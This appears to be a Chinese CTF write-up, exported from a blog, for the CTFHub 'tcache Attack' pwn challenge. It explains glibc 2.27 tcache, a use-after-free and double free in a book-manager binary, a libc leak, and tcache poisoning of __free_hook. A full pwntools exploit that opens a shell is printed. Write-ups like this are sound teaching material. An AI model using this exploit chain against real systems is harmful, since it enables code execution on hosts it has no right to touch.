{"id":110181,"date":"2026-09-26T09:57:06","date_gmt":"2026-09-26T01:57:06","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/110181.html"},"modified":"2026-09-26T09:57:06","modified_gmt":"2026-09-26T01:57:06","slug":"writeup-4-ctfhub-pwn-tcache-attack","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/110181.html","title":{"rendered":"Writeup 4 CTFHub PWN Tcache Attack"},"content":{"rendered":"

Writeup 4 CTFHub PWN Tcache Attack<\/h2>\n

\u4e00\u3001\u9898\u76ee\u4fe1\u606f<\/h3>\n\n\u9879\u76ee\u503c<\/tr>\n\n\n\n\n\n\n\n\n
\u9898\u76ee\u540d\u79f0<\/td>\ntcache Attack<\/td>\n<\/tr>\n
\u7a0b\u5e8f\u540d<\/td>\nchunk<\/td>\n<\/tr>\n
\u67b6\u6784<\/td>\n64 \u4f4d<\/td>\n<\/tr>\n
libc<\/td>\nglibc 2.27<\/td>\n<\/tr>\n
\u9632\u62a4<\/td>\nFull RELRO + Canary + NX + PIE<\/td>\n<\/tr>\n
\u8fdc\u7a0b<\/td>\nnc challenge-b18d2a86b4ecea93.sandbox.ctfhub.com 20312<\/td>\n<\/tr>\n
Flag<\/td>\nctfhub{bb5c26fe3b593fb6403bd5c6}<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
\n

\u4e8c\u3001\u80cc\u666f\u77e5\u8bc6：tcache \u662f\u4ec0\u4e48<\/h3>\n

2.1 tcache \u7684\u5f15\u5165<\/h4>\n

glibc 2.26 \u5f15\u5165\u4e86 tcache（Thread Local Caching），\u6bcf\u4e2a\u7ebf\u7a0b\u7ef4\u62a4\u4e00\u4e2a\u672c\u5730\u7f13\u5b58，\u7528\u4e8e\u52a0\u901f\u5c0f\u5185\u5b58\u5757\u7684\u5206\u914d\u548c\u91ca\u653e\u3002<\/p>\n

    \n
  • \u6bcf\u4e2a\u7ebf\u7a0b\u6709 64 \u4e2a tcache bin，\u6bcf\u4e2a bin \u5bf9\u5e94\u4e00\u79cd chunk \u5927\u5c0f<\/li>\n
  • \u6bcf\u4e2a bin \u6700\u591a\u7f13\u5b58 7 \u4e2a chunk<\/li>\n
  • chunk \u5927\u5c0f\u8303\u56f4：0x20 \u5230 0x410（\u5bf9\u9f50\u540e）<\/li>\n<\/ul>\n

    2.2 tcache \u7684\u7ed3\u6784<\/h4>\n

    typedef<\/span> struct<\/span> tcache_perthread_struct<\/span> {<\/span>
    \n char<\/span> counts[<\/span>TCACHE_MAX_BINS]<\/span>;<\/span> \/\/ \u6bcf\u4e2a bin \u7684 chunk \u6570\u91cf<\/span>
    \n tcache_entry *<\/span>entries[<\/span>TCACHE_MAX_BINS]<\/span>;<\/span> \/\/ \u6bcf\u4e2a bin \u7684\u94fe\u8868\u5934<\/span>
    \n}<\/span> tcache_perthread_struct;<\/span><\/p>\n

    typedef<\/span> struct<\/span> tcache_entry<\/span> {<\/span>
    \n struct<\/span> tcache_entry<\/span> *<\/span>next;<\/span> \/\/ \u6307\u5411\u4e0b\u4e00\u4e2a\u7a7a\u95f2 chunk（\u5728 chunk \u7684 mem \u504f\u79fb 0x00 \u5904）<\/span>
    \n struct<\/span> tcache_key<\/span> key;<\/span> \/\/ \u7528\u4e8e double free \u68c0\u6d4b（glibc 2.29+ \u624d\u6709）<\/span>
    \n}<\/span> tcache_entry;<\/span><\/p>\n

    \u5173\u952e\u70b9：next \u6307\u9488\u5728 chunk \u7684 mem \u504f\u79fb 0x00 \u5904，\u5373 fd \u5b57\u6bb5\u7684\u4f4d\u7f6e\u3002<\/p>\n

    2.3 tcache \u7684\u5206\u914d\u4e0e\u91ca\u653e<\/h4>\n

    \u91ca\u653e（free）\u65f6：<\/p>\n

  • \u6839\u636e chunk \u5927\u5c0f\u627e\u5230\u5bf9\u5e94\u7684 tcache bin<\/li>\n
  • \u5982\u679c bin \u672a\u6ee1（count < 7），\u628a chunk \u63d2\u5165\u94fe\u8868\u5934\u90e8<\/li>\n
  • \u5982\u679c bin \u5df2\u6ee1，\u8d70\u6b63\u5e38\u7684 free \u6d41\u7a0b（\u8fdb\u5165 fastbin \/ unsorted bin \/ smallbin \/ largebin）<\/li>\n

    \u5206\u914d（malloc）\u65f6：<\/p>\n

  • \u6839\u636e\u8bf7\u6c42\u5927\u5c0f\u627e\u5230\u5bf9\u5e94\u7684 tcache bin<\/li>\n
  • \u5982\u679c bin \u975e\u7a7a，\u53d6\u51fa\u94fe\u8868\u5934\u90e8 chunk \u8fd4\u56de<\/li>\n
  • \u5982\u679c bin \u4e3a\u7a7a，\u8d70\u6b63\u5e38\u7684 malloc \u6d41\u7a0b<\/li>\n

    2.4 glibc 2.27 \u7684 tcache \u6f0f\u6d1e<\/h4>\n

    glibc 2.27 \u7684 tcache \u6ca1\u6709 double free \u68c0\u67e5，\u53ef\u4ee5\u8fde\u7eed free \u540c\u4e00\u4e2a chunk \u4e24\u6b21，\u5f62\u6210 double free\u3002<\/p>\n

    glibc 2.29 \u624d\u5f15\u5165 key \u5b57\u6bb5\u7528\u4e8e double free \u68c0\u6d4b\u3002<\/p>\n

    \n

    \u4e09\u3001\u7a0b\u5e8f\u5206\u6790<\/h3>\n

    3.1 \u9632\u62a4\u68c0\u67e5<\/h4>\n

    $ checksec –file<\/span>=<\/span>chunk
    \nRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
    \nFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 84<\/span> Symbols No 0<\/span> 3<\/span> chunk<\/p>\n

      \n
    • Full RELRO：GOT \u8868\u53ea\u8bfb，\u65e0\u6cd5\u8986\u5199 GOT<\/li>\n
    • Canary：\u6808\u4fdd\u62a4<\/li>\n
    • NX：\u5806\u4e0d\u53ef\u6267\u884c<\/li>\n
    • PIE：\u4ee3\u7801\u6bb5\u968f\u673a\u5316<\/li>\n<\/ul>\n

      \u7ed3\u8bba：\u65e0\u6cd5\u8986\u5199 GOT，\u53ea\u80fd\u6253 __free_hook \u6216 __malloc_hook\u3002<\/p>\n

      3.2 \u529f\u80fd\u5206\u6790<\/h4>\n

      \u7a0b\u5e8f\u662f\u4e00\u4e2a"\u9b54\u6cd5\u4e66"\u7ba1\u7406\u7cfb\u7edf，\u83dc\u5355\u5982\u4e0b：<\/p>\n

      1. create a book -> add()
      \n2. show the content -> show()
      \n3. throw a book -> delete()
      \n4. write something -> edit() （\u7a7a\u51fd\u6570）
      \n5. exit the world -> exit()<\/p>\n

      add \u51fd\u6570：<\/p>\n

      int<\/span> add<\/span>(<\/span>)<\/span>
      \n{<\/span>
      \n int<\/span> nbytes;<\/span> \/\/ size<\/span>
      \n int<\/span> nbytes_4;<\/span> \/\/ idx<\/span>
      \n .<\/span>.<\/span>.<\/span>
      \n printf<\/span>(<\/span>"Give me a book ID: "<\/span>)<\/span>;<\/span>
      \n scanf<\/span>(<\/span>"%d"<\/span>,<\/span> &<\/span>nbytes_4)<\/span>;<\/span>
      \n printf<\/span>(<\/span>"how long: "<\/span>)<\/span>;<\/span>
      \n scanf<\/span>(<\/span>"%d"<\/span>,<\/span> &<\/span>nbytes)<\/span>;<\/span>
      \n if<\/span> (<\/span> nbytes_4 >=<\/span> 0<\/span> &&<\/span> nbytes_4 <=<\/span> 49<\/span> )<\/span>
      \n {<\/span>
      \n if<\/span> (<\/span> nbytes <<\/span> 0<\/span> )<\/span>
      \n return<\/span> puts<\/span>(<\/span>"too large!"<\/span>)<\/span>;<\/span>
      \n else<\/span>
      \n {<\/span>
      \n chunk[<\/span>nbytes_4]<\/span> =<\/span> malloc<\/span>(<\/span>nbytes)<\/span>;<\/span>
      \n size[<\/span>nbytes_4]<\/span> =<\/span> nbytes;<\/span>
      \n printf<\/span>(<\/span>"Content: "<\/span>)<\/span>;<\/span>
      \n read<\/span>(<\/span>0<\/span>,<\/span> chunk[<\/span>nbytes_4]<\/span>,<\/span> nbytes)<\/span>;<\/span>
      \n return<\/span> puts<\/span>(<\/span>"Done!\\\\n"<\/span>)<\/span>;<\/span>
      \n }<\/span>
      \n }<\/span>
      \n}<\/span><\/p>\n

        \n
      • idx \u8303\u56f4：0 \u5230 49（chunk \u6570\u7ec4\u6709 50 \u4e2a\u5143\u7d20）<\/li>\n
      • size \u53ef\u4ee5\u662f\u4efb\u610f\u975e\u8d1f\u6574\u6570<\/li>\n
      • read \u7684\u957f\u5ea6\u6070\u597d\u662f nbytes，\u6ca1\u6709\u6ea2\u51fa<\/li>\n<\/ul>\n

        delete \u51fd\u6570：<\/p>\n

        __int64 delete<\/span>(<\/span>)<\/span>
        \n{<\/span>
        \n unsigned<\/span> int<\/span> v1;<\/span> \/\/ idx<\/span>
        \n .<\/span>.<\/span>.<\/span>
        \n puts<\/span>(<\/span>"Which one to throw?"<\/span>)<\/span>;<\/span>
        \n scanf<\/span>(<\/span>"%d"<\/span>,<\/span> &<\/span>v1)<\/span>;<\/span>
        \n if<\/span> (<\/span> v1 <=<\/span> 0x32<\/span> )<\/span> \/\/ 50<\/span>
        \n {<\/span>
        \n free<\/span>(<\/span>chunk[<\/span>v1]<\/span>)<\/span>;<\/span>
        \n return<\/span> puts<\/span>(<\/span>"Done!\\\\n"<\/span>)<\/span>;<\/span>
        \n }<\/span>
        \n else<\/span>
        \n return<\/span> puts<\/span>(<\/span>"Wrong!\\\\n"<\/span>)<\/span>;<\/span>
        \n}<\/span><\/p>\n

          \n
        • idx \u8303\u56f4：0 \u5230 50<\/li>\n
        • free \u540e\u6ca1\u6709\u628a chunk[v1] \u7f6e 0，\u5b58\u5728 UAF<\/li>\n<\/ul>\n

          show \u51fd\u6570：<\/p>\n

          unsigned<\/span> __int64 show<\/span>(<\/span>)<\/span>
          \n{<\/span>
          \n int<\/span> v1;<\/span> \/\/ idx<\/span>
          \n .<\/span>.<\/span>.<\/span>
          \n printf<\/span>(<\/span>"Which book do you want to show?"<\/span>)<\/span>;<\/span>
          \n scanf<\/span>(<\/span>"%d"<\/span>,<\/span> &<\/span>v1)<\/span>;<\/span>
          \n printf<\/span>(<\/span>"Content: %s"<\/span>,<\/span> chunk[<\/span>v1]<\/span>)<\/span>;<\/span>
          \n .<\/span>.<\/span>.<\/span>
          \n}<\/span><\/p>\n

            \n
          • idx \u6ca1\u6709\u8303\u56f4\u68c0\u67e5，\u53ef\u4ee5\u8d8a\u754c\u8bfb<\/li>\n
          • UAF：\u53ef\u4ee5 show \u5df2\u91ca\u653e\u7684 chunk，\u6cc4\u9732 fd<\/li>\n<\/ul>\n

            edit \u51fd\u6570：<\/p>\n

            __int64 edit<\/span>(<\/span>)<\/span>
            \n{<\/span>
            \n printf<\/span>(<\/span>"Nothing~"<\/span>)<\/span>;<\/span>
            \n return<\/span> 0<\/span>;<\/span>
            \n}<\/span><\/p>\n

              \n
            • \u7a7a\u51fd\u6570，\u6ca1\u6709\u7f16\u8f91\u529f\u80fd<\/li>\n<\/ul>\n

              3.3 \u5168\u5c40\u53d8\u91cf\u5e03\u5c40<\/h4>\n

              $ readelf -s<\/span> chunk |<\/span> grep<\/span> -E<\/span> "chunk|size"<\/span>
              \n 48<\/span>: 0000000000202060 400<\/span> OBJECT GLOBAL DEFAULT 24<\/span> size
              \n 53<\/span>: 0000000000202200 400<\/span> OBJECT GLOBAL DEFAULT 24<\/span> chunk<\/p>\n\n\u53d8\u91cf\u5730\u5740\u5927\u5c0f\u5143\u7d20\u6570<\/tr>\n\n\n\n
              size<\/td>\n0x202060<\/td>\n400 \u5b57\u8282<\/td>\n100 \u4e2a int（\u5b9e\u9645\u53ea\u7528 50 \u4e2a）<\/td>\n<\/tr>\n
              chunk<\/td>\n0x202200<\/td>\n400 \u5b57\u8282<\/td>\n50 \u4e2a __int64<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

              chunk \u6570\u7ec4\u6709 50 \u4e2a\u5143\u7d20，\u4e0d\u662f 10 \u4e2a\u3002<\/p>\n

              3.4 \u6f0f\u6d1e\u603b\u7ed3<\/h4>\n\n\u6f0f\u6d1e\u4f4d\u7f6e\u8bf4\u660e<\/tr>\n\n\n\n\n\n
              UAF<\/td>\ndelete<\/td>\nfree \u540e\u6ca1\u6709\u628a chunk[idx] \u7f6e 0<\/td>\n<\/tr>\n
              \u4efb\u610f\u5730\u5740\u8bfb<\/td>\nshow<\/td>\nidx \u6ca1\u6709\u8303\u56f4\u68c0\u67e5，\u53ef\u4ee5\u8d8a\u754c\u8bfb<\/td>\n<\/tr>\n
              double free<\/td>\ndelete<\/td>\nglibc 2.27 \u7684 tcache \u6ca1\u6709 double free \u68c0\u67e5<\/td>\n<\/tr>\n
              \u7a7a edit<\/td>\nedit<\/td>\n\u6ca1\u6709\u7f16\u8f91\u529f\u80fd，\u65e0\u6cd5\u76f4\u63a5\u4fee\u6539\u5df2\u91ca\u653e chunk \u7684 fd<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
              \n

              \u56db\u3001\u5229\u7528\u601d\u8def<\/h3>\n

              4.1 \u6838\u5fc3\u76ee\u6807<\/h4>\n
            • \u6cc4\u9732 libc \u57fa\u5740：\u5229\u7528 UAF \u6cc4\u9732 unsorted bin \u4e2d\u7684 fd<\/li>\n
            • tcache poisoning：\u4fee\u6539 tcache \u4e2d chunk \u7684 fd，\u8ba9 malloc \u8fd4\u56de __free_hook<\/li>\n
            • \u8986\u5199 __free_hook \u4e3a system<\/li>\n
            • \u91ca\u653e\u5185\u5bb9\u4e3a \/bin\/sh \u7684 chunk，\u89e6\u53d1 system("\/bin\/sh")<\/li>\n

              4.2 \u4e3a\u4ec0\u4e48\u6253 __free_hook \u800c\u4e0d\u662f __malloc_hook<\/h4>\n
                \n
              • Full RELRO：GOT \u8868\u53ea\u8bfb，\u4e0d\u80fd\u8986\u5199 GOT<\/li>\n
              • __malloc_hook：malloc \u7684\u53c2\u6570\u662f size，\u4e0d\u662f\u5b57\u7b26\u4e32\u6307\u9488，system(size) \u4e0d\u4f1a\u6267\u884c \/bin\/sh<\/li>\n
              • __free_hook：free \u7684\u53c2\u6570\u662f chunk \u7684 mem \u6307\u9488，\u5982\u679c chunk \u5185\u5bb9\u4e3a \/bin\/sh，system("\/bin\/sh") \u5c31\u80fd\u6267\u884c<\/li>\n<\/ul>\n

                4.3 \u6cc4\u9732 libc \u7684\u539f\u7406<\/h4>\n

                tcache \u7684 0x90 \u94fe\u6700\u591a\u7f13\u5b58 7 \u4e2a chunk\u3002<\/p>\n

                  \n
                • \u7533\u8bf7 8 \u4e2a 0x80 \u7684 chunk（size 0x90）<\/li>\n
                • \u91ca\u653e\u524d 7 \u4e2a，\u586b\u6ee1 tcache \u7684 0x90 \u94fe<\/li>\n
                • \u91ca\u653e\u7b2c 8 \u4e2a，tcache \u5df2\u6ee1，\u8fdb\u5165 unsorted bin<\/li>\n
                • unsorted bin \u4e2d\u7684 chunk，fd \u6307\u5411 main_arena + 96<\/li>\n
                • show(7) \u6cc4\u9732 fd，\u5f97\u5230 main_arena + 96<\/li>\n
                • libc_base = leak – 96 – 0x10 – __malloc_hook<\/li>\n<\/ul>\n

                  \u4e3a\u4ec0\u4e48\u662f 96 + 0x10 + __malloc_hook？<\/p>\n

                    \n
                  • unsorted bin \u7684 fd \u6307\u5411 main_arena + 96（main_arena \u7684 bins[0] \u504f\u79fb）<\/li>\n
                  • main_arena \u5728 libc \u4e2d\u7684\u504f\u79fb\u662f __malloc_hook + 0x10<\/li>\n
                  • \u6240\u4ee5 libc_base = leak – 96 – 0x10 – __malloc_hook<\/li>\n<\/ul>\n

                    4.4 tcache poisoning \u7684\u539f\u7406<\/h4>\n

                    tcache \u7684 next \u6307\u9488\u5728 chunk \u7684 mem \u504f\u79fb 0x00 \u5904\u3002<\/p>\n

                    double free \u540e：<\/p>\n

                    tcache 0x90 \u94fe：chunk 0 -> chunk 0<\/p>\n

                    add(0, 0x80, p64(free_hook)) \u65f6：<\/p>\n

                  • malloc \u53d6\u51fa chunk 0，tcache \u5934\u90e8\u53d8\u4e3a chunk 0->next（\u5373 chunk 0）<\/li>\n
                  • read \u5199\u5165 p64(free_hook) \u5230 chunk 0 \u7684 mem，\u8986\u76d6 next \u4e3a free_hook<\/li>\n
                  • \u6b64\u65f6 tcache \u5934\u90e8\u662f chunk 0，\u4f46 chunk 0->next \u88ab\u6539\u6210\u4e86 free_hook<\/li>\n

                    add(9, 0x80, b"aaaa") \u65f6：<\/p>\n

                  • malloc \u53d6\u51fa chunk 0，tcache \u5934\u90e8\u53d8\u4e3a chunk 0->next（\u5373 free_hook）<\/li>\n
                  • read \u5199\u5165 b"aaaa" \u5230 chunk 0 \u7684 mem<\/li>\n

                    add(10, 0x80, p64(system)) \u65f6：<\/p>\n

                  • malloc \u53d6\u51fa free_hook（tcache \u5934\u90e8\u662f free_hook）<\/li>\n
                  • read \u5199\u5165 p64(system) \u5230 free_hook<\/li>\n
                  • __free_hook \u88ab\u8986\u5199\u4e3a system<\/li>\n

                    free(8) \u65f6：<\/p>\n

                  • free(chunk 8)，chunk 8 \u7684\u5185\u5bb9\u662f \/bin\/sh<\/li>\n
                  • __free_hook \u88ab\u89e6\u53d1，\u6267\u884c system("\/bin\/sh")<\/li>\n
                  • getshell<\/li>\n
                    \n

                    \u4e94\u3001\u751f\u6210 Payload \u7684\u8fc7\u7a0b<\/h3>\n

                    5.1 \u786e\u5b9a chunk \u5927\u5c0f<\/h4>\n

                    \u76ee\u6807：\u586b\u6ee1 tcache \u7684 0x90 \u94fe\u3002<\/p>\n

                      \n
                    • malloc(0x80) \u8fd4\u56de\u7684 chunk size \u662f 0x90（0x80 \u5bf9\u9f50 + 0x10 \u5934）<\/li>\n
                    • tcache \u7684 0x90 bin \u5bf9\u5e94 0x90 \u7684 chunk<\/li>\n
                    • \u9700\u8981 7 \u4e2a 0x90 chunk \u586b\u6ee1 tcache<\/li>\n<\/ul>\n

                      \u6240\u4ee5\u7533\u8bf7 0x80 \u7684 chunk\u3002<\/p>\n

                      5.2 \u6cc4\u9732 libc \u7684 payload<\/h4>\n

                      # 1. \u586b\u6ee1 tcache<\/span>
                      \nfor<\/span> i in<\/span> range<\/span>(<\/span>7<\/span>)<\/span>:<\/span>
                      \n add(<\/span>i,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 2. \u7b2c 8 \u4e2a chunk，\u8fdb\u5165 unsorted bin<\/span>
                      \nadd(<\/span>7<\/span>,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 3. \/bin\/sh chunk<\/span>
                      \nadd(<\/span>8<\/span>,<\/span> 0x90<\/span>,<\/span> b"\/bin\/sh\\\\x00"<\/span>)<\/span><\/p>\n

                      # 4. \u91ca\u653e 0~7，\u586b\u6ee1 tcache + \u7b2c 8 \u4e2a\u8fdb\u5165 unsorted bin<\/span>
                      \nfor<\/span> i in<\/span> range<\/span>(<\/span>8<\/span>)<\/span>:<\/span>
                      \n free(<\/span>i)<\/span><\/p>\n

                      # 5. \u6cc4\u9732 libc<\/span>
                      \nshow(<\/span>7<\/span>)<\/span>
                      \nio.<\/span>recvuntil(<\/span>b"Content: "<\/span>)<\/span>
                      \nleak =<\/span> u64(<\/span>io.<\/span>recv(<\/span>6<\/span>)<\/span>.<\/span>ljust(<\/span>8<\/span>,<\/span> b"\\\\x00"<\/span>)<\/span>)<\/span>
                      \nlibc_base =<\/span> leak –<\/span> 96<\/span> –<\/span> 0x10<\/span> –<\/span> libc.<\/span>sym[<\/span>'__malloc_hook'<\/span>]<\/span>
                      \nfree_hook =<\/span> libc_base +<\/span> libc.<\/span>sym[<\/span>'__free_hook'<\/span>]<\/span>
                      \nsystem =<\/span> libc_base +<\/span> libc.<\/span>sym[<\/span>'system'<\/span>]<\/span><\/p>\n

                      5.3 tcache poisoning \u7684 payload<\/h4>\n

                      # 6. \u53d6\u51fa 6 \u4e2a chunk，tcache 0x90 \u94fe\u5269 1 \u4e2a<\/span>
                      \nfor<\/span> i in<\/span> range<\/span>(<\/span>6<\/span>)<\/span>:<\/span>
                      \n add(<\/span>6<\/span> –<\/span> i,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 7. double free chunk 0<\/span>
                      \nfree(<\/span>0<\/span>)<\/span><\/p>\n

                      # 8. \u53d6\u51fa chunk 0，\u8986\u76d6 fd \u4e3a free_hook<\/span>
                      \nadd(<\/span>0<\/span>,<\/span> 0x80<\/span>,<\/span> p64(<\/span>free_hook)<\/span>)<\/span><\/p>\n

                      # 9. \u53d6\u51fa chunk 0（\u56e0\u4e3a tcache \u5934\u90e8\u662f chunk 0）<\/span>
                      \nadd(<\/span>9<\/span>,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 10. \u53d6\u51fa free_hook，\u5199\u5165 system<\/span>
                      \nadd(<\/span>10<\/span>,<\/span> 0x80<\/span>,<\/span> p64(<\/span>system)<\/span>)<\/span><\/p>\n

                      # 11. \u89e6\u53d1 system("\/bin\/sh")<\/span>
                      \nfree(<\/span>8<\/span>)<\/span><\/p>\n

                      5.4 \u5b8c\u6574 payload<\/h4>\n

                      from<\/span> pwn import<\/span> *<\/span><\/p>\n

                      context(<\/span>log_level=<\/span>'debug'<\/span>,<\/span> arch=<\/span>'amd64'<\/span>,<\/span> os=<\/span>'linux'<\/span>)<\/span><\/p>\n

                      io =<\/span> remote(<\/span>"challenge-b18d2a86b4ecea93.sandbox.ctfhub.com"<\/span>,<\/span> 20312<\/span>)<\/span>
                      \nlibc =<\/span> ELF(<\/span>".\/libc-2.27.so"<\/span>)<\/span><\/p>\n

                      def<\/span> add<\/span>(<\/span>idx,<\/span> size,<\/span> data)<\/span>:<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"Your choice: "<\/span>)<\/span>
                      \n io.<\/span>sendline(<\/span>b"1"<\/span>)<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"Give me a book ID: "<\/span>)<\/span>
                      \n io.<\/span>sendline(<\/span>str<\/span>(<\/span>idx)<\/span>.<\/span>encode(<\/span>)<\/span>)<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"how long: "<\/span>)<\/span>
                      \n io.<\/span>sendline(<\/span>str<\/span>(<\/span>size)<\/span>.<\/span>encode(<\/span>)<\/span>)<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"Content: "<\/span>)<\/span>
                      \n io.<\/span>send(<\/span>data)<\/span><\/p>\n

                      def<\/span> show<\/span>(<\/span>idx)<\/span>:<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"Your choice: "<\/span>)<\/span>
                      \n io.<\/span>sendline(<\/span>b"2"<\/span>)<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"Which book do you want to show?"<\/span>)<\/span>
                      \n io.<\/span>sendline(<\/span>str<\/span>(<\/span>idx)<\/span>.<\/span>encode(<\/span>)<\/span>)<\/span><\/p>\n

                      def<\/span> free<\/span>(<\/span>idx)<\/span>:<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"Your choice: "<\/span>)<\/span>
                      \n io.<\/span>sendline(<\/span>b"3"<\/span>)<\/span>
                      \n io.<\/span>recvuntil(<\/span>b"Which one to throw?"<\/span>)<\/span>
                      \n io.<\/span>sendline(<\/span>str<\/span>(<\/span>idx)<\/span>.<\/span>encode(<\/span>)<\/span>)<\/span><\/p>\n

                      # 1. \u586b\u6ee1 tcache \u7684 0x90 \u94fe<\/span>
                      \nfor<\/span> i in<\/span> range<\/span>(<\/span>7<\/span>)<\/span>:<\/span>
                      \n add(<\/span>i,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 2. \u7b2c 8 \u4e2a chunk，\u8fdb\u5165 unsorted bin<\/span>
                      \nadd(<\/span>7<\/span>,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 3. \/bin\/sh chunk<\/span>
                      \nadd(<\/span>8<\/span>,<\/span> 0x90<\/span>,<\/span> b"\/bin\/sh\\\\x00"<\/span>)<\/span><\/p>\n

                      # 4. \u91ca\u653e 0~7<\/span>
                      \nfor<\/span> i in<\/span> range<\/span>(<\/span>8<\/span>)<\/span>:<\/span>
                      \n free(<\/span>i)<\/span><\/p>\n

                      # 5. \u6cc4\u9732 libc<\/span>
                      \nshow(<\/span>7<\/span>)<\/span>
                      \nio.<\/span>recvuntil(<\/span>b"Content: "<\/span>)<\/span>
                      \nleak =<\/span> u64(<\/span>io.<\/span>recv(<\/span>6<\/span>)<\/span>.<\/span>ljust(<\/span>8<\/span>,<\/span> b"\\\\x00"<\/span>)<\/span>)<\/span>
                      \nlibc_base =<\/span> leak –<\/span> 96<\/span> –<\/span> 0x10<\/span> –<\/span> libc.<\/span>sym[<\/span>'__malloc_hook'<\/span>]<\/span>
                      \nfree_hook =<\/span> libc_base +<\/span> libc.<\/span>sym[<\/span>'__free_hook'<\/span>]<\/span>
                      \nsystem =<\/span> libc_base +<\/span> libc.<\/span>sym[<\/span>'system'<\/span>]<\/span><\/p>\n

                      log.<\/span>success(<\/span>f'libc_base = <\/span>{<\/span>hex<\/span>(<\/span>libc_base)<\/span>}<\/span><\/span>'<\/span><\/span>)<\/span>
                      \nlog.<\/span>success(<\/span>f'free_hook = <\/span>{<\/span>hex<\/span>(<\/span>free_hook)<\/span>}<\/span><\/span>'<\/span><\/span>)<\/span>
                      \nlog.<\/span>success(<\/span>f'system = <\/span>{<\/span>hex<\/span>(<\/span>system)<\/span>}<\/span><\/span>'<\/span><\/span>)<\/span><\/p>\n

                      # 6. \u53d6\u51fa 6 \u4e2a chunk<\/span>
                      \nfor<\/span> i in<\/span> range<\/span>(<\/span>6<\/span>)<\/span>:<\/span>
                      \n add(<\/span>6<\/span> –<\/span> i,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 7. double free chunk 0<\/span>
                      \nfree(<\/span>0<\/span>)<\/span><\/p>\n

                      # 8. \u53d6\u51fa chunk 0，\u8986\u76d6 fd \u4e3a free_hook<\/span>
                      \nadd(<\/span>0<\/span>,<\/span> 0x80<\/span>,<\/span> p64(<\/span>free_hook)<\/span>)<\/span><\/p>\n

                      # 9. \u53d6\u51fa chunk 0<\/span>
                      \nadd(<\/span>9<\/span>,<\/span> 0x80<\/span>,<\/span> b"aaaa"<\/span>)<\/span><\/p>\n

                      # 10. \u53d6\u51fa free_hook，\u5199\u5165 system<\/span>
                      \nadd(<\/span>10<\/span>,<\/span> 0x80<\/span>,<\/span> p64(<\/span>system)<\/span>)<\/span><\/p>\n

                      # 11. \u89e6\u53d1 system("\/bin\/sh")<\/span>
                      \nfree(<\/span>8<\/span>)<\/span><\/p>\n

                      io.<\/span>interactive(<\/span>)<\/span><\/p>\n

                      \n

                      \u516d\u3001\u547d\u4ee4\u8be6\u89e3<\/h3>\n

                      6.1 checksec –file=chunk<\/h4>\n

                      \u68c0\u67e5\u7a0b\u5e8f\u7684\u9632\u62a4\u673a\u5236：<\/p>\n

                        \n
                      • RELRO：GOT \u8868\u4fdd\u62a4<\/li>\n
                      • Canary：\u6808\u6ea2\u51fa\u68c0\u6d4b<\/li>\n
                      • NX：\u5806\u6808\u4e0d\u53ef\u6267\u884c<\/li>\n
                      • PIE：\u4ee3\u7801\u6bb5\u968f\u673a\u5316<\/li>\n<\/ul>\n

                        6.2 readelf -s chunk | grep -E "chunk|size"<\/h4>\n

                        \u67e5\u770b\u5168\u5c40\u53d8\u91cf chunk \u548c size \u7684\u5730\u5740\u548c\u5927\u5c0f\u3002<\/p>\n

                        \u8f93\u51fa：<\/p>\n

                        48: 0000000000202060 400 OBJECT GLOBAL DEFAULT 24 size
                        \n53: 0000000000202200 400 OBJECT GLOBAL DEFAULT 24 chunk<\/p>\n

                          \n
                        • size \u5728 0x202060，400 \u5b57\u8282<\/li>\n
                        • chunk \u5728 0x202200，400 \u5b57\u8282<\/li>\n<\/ul>\n

                          6.3 readelf -s chunk | grep -E "__free_hook|__malloc_hook"<\/h4>\n

                          \u67e5\u770b __free_hook \u548c __malloc_hook \u7684\u504f\u79fb（\u9700\u8981\u5728 libc \u4e0a\u8fd0\u884c）：<\/p>\n

                          readelf -s<\/span> libc-2.27.so |<\/span> grep<\/span> -E<\/span> "__free_hook|__malloc_hook"<\/span><\/p>\n

                          6.4 gdb \u8c03\u8bd5<\/h4>\n

                          gdb .\/chunk
                          \n(<\/span>gdb)<\/span> b main
                          \n(<\/span>gdb)<\/span> r<\/p>\n

                          \u67e5\u770b chunk \u6570\u7ec4：<\/p>\n

                          p &chunk
                          \nx\/10gx &chunk<\/p>\n

                          \u67e5\u770b __free_hook：<\/p>\n

                          p &__free_hook<\/p>\n

                          6.5 pwntools \u5e38\u7528\u51fd\u6570<\/h4>\n\n\u51fd\u6570\u7528\u9014<\/tr>\n\n\n\n\n\n\n\n\n\n
                          remote(host, port)<\/td>\n\u8fde\u63a5\u8fdc\u7a0b<\/td>\n<\/tr>\n
                          process('.\/chunk')<\/td>\n\u8fd0\u884c\u672c\u5730\u7a0b\u5e8f<\/td>\n<\/tr>\n
                          sendlineafter(delim, data)<\/td>\n\u7b49\u5f85 delim \u540e\u53d1\u9001 data<\/td>\n<\/tr>\n
                          recvuntil(delim)<\/td>\n\u63a5\u6536\u76f4\u5230 delim<\/td>\n<\/tr>\n
                          recv(6)<\/td>\n\u63a5\u6536 6 \u5b57\u8282<\/td>\n<\/tr>\n
                          u64(data.ljust(8, b'\\\\x00'))<\/td>\n8 \u5b57\u8282\u5c0f\u7aef\u5e8f\u8f6c\u6574\u6570<\/td>\n<\/tr>\n
